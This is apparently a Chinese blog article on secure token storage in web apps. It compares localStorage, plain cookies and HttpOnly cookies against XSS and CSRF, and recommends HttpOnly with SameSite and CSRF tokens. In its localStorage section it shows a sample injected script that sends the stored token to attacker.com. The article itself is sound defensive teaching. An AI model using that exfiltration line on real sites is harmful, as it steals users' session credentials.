用户 Token 到底该存哪?
在 Web 应用中,Token 存储位置几乎是所有登录体系都会遇到的问题。
很多项目在最初阶段,会选择一个“最省事”的方案,但随着业务复杂度上升、安全事件频发,这个问题往往会被重新翻出来。
本文从工程安全视角出发,系统梳理几种主流 Token 存储方案的差异、风险与取舍,并给出在真实项目中更稳妥的落地建议。
一、前端能存 Token 的方式有哪些?
从浏览器能力来看,前端可选方案其实不多,主流只有三种:
| 存储方式 | XSS 能否读取 | 是否自动随请求发送 | 安全性评价 |
|---|---|---|---|
| localStorage | ✅ 能 | ❌ 否 | ❌ 不推荐 |
| 普通 Cookie | ✅ 能 | ✅ 是 | ❌ 更糟 |
| HttpOnly Cookie | ❌ 不能 | ✅ 是 | ✅ 推荐 |
乍一看,三者只是“存储位置不同”,但在安全模型上,差异极大。
二、localStorage:最常见,也最危险
很多项目的初始实现大概都是这样:
// 登录成功后
localStorage.setItem('token', accessToken);
// 请求时读取
fetch('/api/user', {
headers: {
Authorization: `Bearer ${localStorage.getItem('token')}`
}
});
优点很明显:
- 使用简单
- 不依赖后端 Cookie 配置
- 前后端职责清晰
但它有一个致命问题:
👉 XSS 攻击可以直接读取 localStorage
只要页面上出现一次 XSS 漏洞,攻击者就可以轻松把 Token 偷走:
// 恶意注入脚本
fetch(
'https://attacker.com/steal?token=' + localStorage.getItem('token')
);
现实中,XSS 并不是“极端情况”:
innerHTML使用不当- URL 参数直接渲染
- 第三方脚本被污染
- Markdown / 富文本解析漏洞
项目越大,入口越多,“一定没有 XSS”几乎是不成立的假设。
三、普通 Cookie:看似安全,其实更糟
有人会想到:
那我把 Token 存到 Cookie 里,不就行了?
如果只是普通 Cookie,结果反而更差:
document.cookie = `token=${accessToken}; path=/`;
问题在于:
- XSS 依然可以读
- CSRF 风险被自动引入
// XSS 仍然能读取
document.cookie
Cookie 会被浏览器自动携带,这意味着:
- 攻击者不需要读 Token
- 只要诱导用户访问恶意页面,就能发起伪造请求
属于是 XSS 和 CSRF 两头吃亏。
四、HttpOnly Cookie:真正值得推荐的方案
HttpOnly Cookie 的核心价值只有一句话:
JavaScript 访问不到
res.cookie('access_token', token, {
httpOnly: true, // JS 读不到
secure: true, // 仅 HTTPS
sameSite: 'lax', // 防 CSRF
maxAge: 3600000
});
一旦加上 httpOnly: true:
document.cookie // 访问不到 access_token
即使页面发生 XSS,攻击脚本也拿不到 Token 本身。
前端请求时,只需要:
fetch('/api/user', {
credentials: 'include'
});
浏览器会自动携带 Cookie,但 JS 无法直接操作它。
五、HttpOnly Cookie 的代价:必须正视 CSRF
HttpOnly Cookie 解决了 XSS 偷 Token 的问题,但引入了一个必须面对的现实:
👉 CSRF
因为 Cookie 会自动发送,攻击者可以构造跨站请求。
1️⃣ SameSite:成本最低、收益最高
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
SameSite 选项:
strict:最安全,但体验差lax:主流推荐,能防住大多数 CSRFnone:需配合secure,风险最高
绝大多数业务,
lax已经足够。
2️⃣ CSRF Token:更严格的场景
对金融、转账等高风险操作,可以再加一层 CSRF Token:
// 后端生成
res.cookie('csrf_token', csrfToken);
// 前端请求
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken
},
credentials: 'include'
});
攻击者可以“带 Cookie”,
但 无法读取 Cookie 内容来构造请求头。
六、为什么宁愿防 CSRF,也要堵死 XSS?
这是整个设计取舍的关键。
XSS 的现实情况
- 攻击面极广
- 来源不可控
- 一个疏忽就可能中招
- 一旦成功,Token 可被直接窃取
CSRF 的现实情况
- 攻击入口有限
- 防御手段标准化
- SameSite 即可解决大部分场景
- 防护成本可控
结论很明确:
与其赌“不会有 XSS”,不如假设 XSS 一定会出现
然后让它偷不到最关键的东西
七、从 localStorage 迁移到 HttpOnly Cookie,要改哪些?
后端
// 登录接口
res.cookie('access_token', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 3600000
});
前端
fetch('/api/user', {
credentials: 'include'
});
如果使用 axios:
axios.defaults.withCredentials = true;
登出
res.clearCookie('access_token');
实际改动远比想象中小,关键是心智转变。
八、如果暂时无法迁移,如何降低风险?
现实中并不是所有项目都能立刻重构,这种情况下至少要做到:
- 严格防 XSS
- 禁用
innerHTML - 输入统一转义
- CSP 头
- 富文本白名单过滤
- 禁用
- 缩短 Token 生命周期
- Access Token 15~30 分钟
- 敏感操作二次校验
- 异常行为监控
这些措施不能让方案变“安全”,但能降低爆炸半径。
九、总结
- Token 存储不是“习惯问题”,而是安全模型选择
- localStorage 最大的问题不是“不优雅”,而是 XSS 可直接盗用
- HttpOnly Cookie 本质是在做一件事:
👉 把 Token 从 JavaScript 世界隔离出去 - CSRF 是可以被系统性防御的,而 XSS 很难做到绝对消失
如果只能记住一句话:
优先阻断“可直接窃取凭证”的攻击路径,再处理“可被伪造请求”的风险
文章评论